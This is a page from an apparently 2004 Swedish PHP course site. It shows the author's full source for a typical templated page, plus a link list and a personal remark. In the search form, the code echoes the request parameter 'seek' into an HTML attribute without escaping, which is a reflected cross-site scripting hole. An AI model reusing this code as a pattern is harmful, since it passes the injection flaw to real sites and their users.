mail_check.php | 2|Email |
bilder.php | 2|Bilder |
sitemap.php | 1|Sidokarta mm. |
2| | |
keywords.php | 2|Nyckelord |
2| | |
sources.php | 2|Källkoder |
sources1.php | 3|links.php |
sources2.php | 3|compat.php |
sources3.php | 3|settings.php |
sources5.php | 3|source.php |
sources6.php | 3|main.txt |
sources7.php | 3|Typisk sida |
2| | |
down.php | 2|Skriv ut |
links.php | 1|Länkar |
seek.php | 1|Sök |
En typisk websida i siten. Ser lite hemsk ut när man ser html-koden, men så här ser den ut i Dreamweaver:
Editeringen sker enkelt eftersom jag inte har "tyngt in" PHP kod överallt utan har klasser och funktioner som genererar behövlig html kod.
Och så här ser källkoden ut:
<?php session_start(); Header( "Last-Modified: " . gmdate ("D, d M Y H", getlastmod () ) );?>
<html><!-- #BeginTemplate "/Templates/phpkurs.dwt" -->
<head>
<?php
include_once("./inc/links.php");
$listFile = "./data/main.txt" ;
$navList = new linkList($listFile );
$count = $navList->GetListCount () ;
$title = "PHP kurs - " .$navList->TheText ( $navList->currInd );
include_once("./inc/source.php");
?>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<?php echo "<!-- " . count_it() . " -->\r\n"; ?>
<title><?php echo $title; ?></title>
<meta name="description" content="Kursmaterial om PHP programmering">
<meta name="keywords" content="PHP, programmering, webbkurs, österbotten">
<meta name="author" content="Anders Enges">
<script language="JavaScript">
<!--
function SeekPHP_net() {
if ( document.ss.seek.value.length > 0)
window.open('http://www.php.net/manual-lookup.php?function=' + document.ss.seek.value,'_new','toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=740,height=500');
}
function ttt()
{
if ( document.ss.seek.value.length > 0)
{
switch( document.ss.where.options[document.ss.where.selectedIndex].value )
{
case "1":
document.location.href = "seek.php?seek=" + document.ss.seek.value;
break;
case "2":
window.open('http://www.php.net/manual-lookup.php?function=' + document.ss.seek.value,'_new');
break;
case "3":
window.open('http://pear.php.net/package-search.php?pkg_name=' + document.ss.seek.value + '&bool=AND&sumbit=Search','_new');
break;
case "4":
alert ('hepp');
break;
}
return true;
}
else
return false;
}
//-->
</script>
<link rel="stylesheet" href="phpkurs.css" type="text/css">
</head>
<body bgcolor="#FEFEFE" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#0000CC" vlink="#0000CC" alink="#0000CC">
<center>
<table border="0" width="100%" height="8">
<tr>
<td width="240" height="46" valign="top" style="letter-spacing:8px;font-family:monospace; color: #333333; font-size:24px; font-weight:normal;" bgcolor="#FFFFFF">
<a href="http://www.enges.org/"><img src="../images/enges2.gif" width="300" height="40" border="0" vspace="2" hspace="2" align="top"></a></td>
<td width="100%" valign="middle" align="center">
<h4>några sidor på nätet om PHP programmering</h4>
</td>
</tr>
<tr>
<td height="3"><img height="1" width="240" src="/phpkurs/spacer.gif"></td>
<td></td>
</tr>
</table>
<table width="641" border="0" cellpadding="0" cellspacing="0" align="center" bgcolor="#FFFFFF" height="329">
<tr>
<td valign="top" colspan="3" nowrap height="31">
<table border="0" cellpadding="0" cellspacing="0" width="640">
<tr>
<td height="27" width="640" valign="bottom" align="right" class="toppen">
<form name="ss" onsubmit="return ttt();" action="seek.php" style="margin:0px; padding:0px;">
Sök efter
<input type="text" name="seek" value="<?php echo isset($_REQUEST["seek"]) ? $_REQUEST["seek"] : "" ?>" style="margin:0px; font-size:10px; height:17px; border: 1px solid #999999;" >
på
<select name="where" style="margin:0px; font-size:10px; height:17px; border: 0px solid #999999;">
<option value="1" selected>Dessa sidor</option>
<option value="2">www.php.net</option>
<option value="3">PEAR</option>
</select>
<input type="button" onclick="ttt()" name="Submit" value="Sök" class="lille">
</form>
</td>
</tr>
<tr>
<td height="4"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td valign="top" height="18" colspan="2">
<?php $navList->Putlevel1(); ?>
</td>
<td width="65" valign="middle" align="right">
<?php $navList->PutNextPrev(); ?>
</td>
</tr>
<tr>
<td width="115" height="406" valign="top" class="linklist">
<?php $navList->Putlevel2(); ?>
</td>
<td valign="top" colspan="2" class="rightborder">
<p style="margin-left:0px">
<?php $navList->PutLevel3(); ?>
</p>
<h3>
<?php echo $navList->TheTitleAutoNum( $navList->currInd ); ?>
</h3>
<!-- #BeginEditable "body" -->
<p>Inte för att jag tror nån bryr sig, men här finns alla
programfiler som styr hela sajten. Det mesta cirklar kring en (alldeles
för) stor klass, som sköter det mesta. </p>
<p>Jag sätter mest ut dessa så jag kan kolla vad jag har gjort.
Jag använder rätt ofta Internet som en luntlapp åt mig
själv... <br>
Ifall jag glömmer bort hur jag gjort saker och ting så är
det väl bra att ha det på nätet.</p>
<p> </p>
<!-- #EndEditable --> </td>
</tr>
<tr>
<td height="13" colspan="3" valign="top" class="footer">© anders enges,
mariehamn, 2004<font color="#804040">|</font>
<!-- #BeginDate format:Ge1m -->20.10.2004 13:46<!-- #EndDate -->
</td>
</tr>
<tr>
<td height="24" colspan="2" valign="top" class="rightborder"> <a href="#top"><img src="images/top.gif" width="20" height="14" border="0"></a> <img src="images/box.gif" width="14" height="14">
<?php $navList->PutHistoryList();?>
</td>
<td valign="middle" align="right">
<?php $navList->PutNextPrev(); ?>
</td>
</tr>
<tr>
<td height="1"></td>
<td width="461"></td>
<td></td>
</tr>
</table>
</center>
</body>
<!-- #EndTemplate --></html>
Utskrivningsbar version av hela siten. Innan du skriver, ta en titt på sidantalet. Denna sajt är inte liten (ca. 220 sidor)
Några svenskpråkiga sidor om PHP
(Jag orkar egentligen inte jaga adresser på Internet, men några
kan ni få):
Rubrik | URL | Status |
PHP Skolan | http://internetworld.idg.se/tjanster/webbskolan/ |
|
Internetworlds PHP-kurs
| ||
PHPportalen | http://www.phpportalen.net/ |
|
Svensk PHPportal
| ||
SNT om PHP | http://www.snt.nu/kurser/phpintro/ |
|
PHP - ett skriptspråk för webbservrar
| ||
SNT om PHP & mySQL | http://www.snt.nu/utbildning_phpmysql.html |
|
Kompendier för nedladdning i pdf-format |
Status: Sidan finns. Sidan finns och är ändrad de senaste 7 dagarna.
(Inte alltid korrekt om sidorna är skrivna i PHP eller ASP - se link_tips.php#last)Sidan finns inte. Servern svarar inte. Se link_tips.php om du vill veta hur de sätts
PS
Egentligen anser jag att data skall ske på engelska, och
brukar sällan bry mig om svenskspråkiga sidor, men eftersom
min skola tydligen blivit erövrat av finskhetsförbundet
så har jag blivt militant språkhetsare.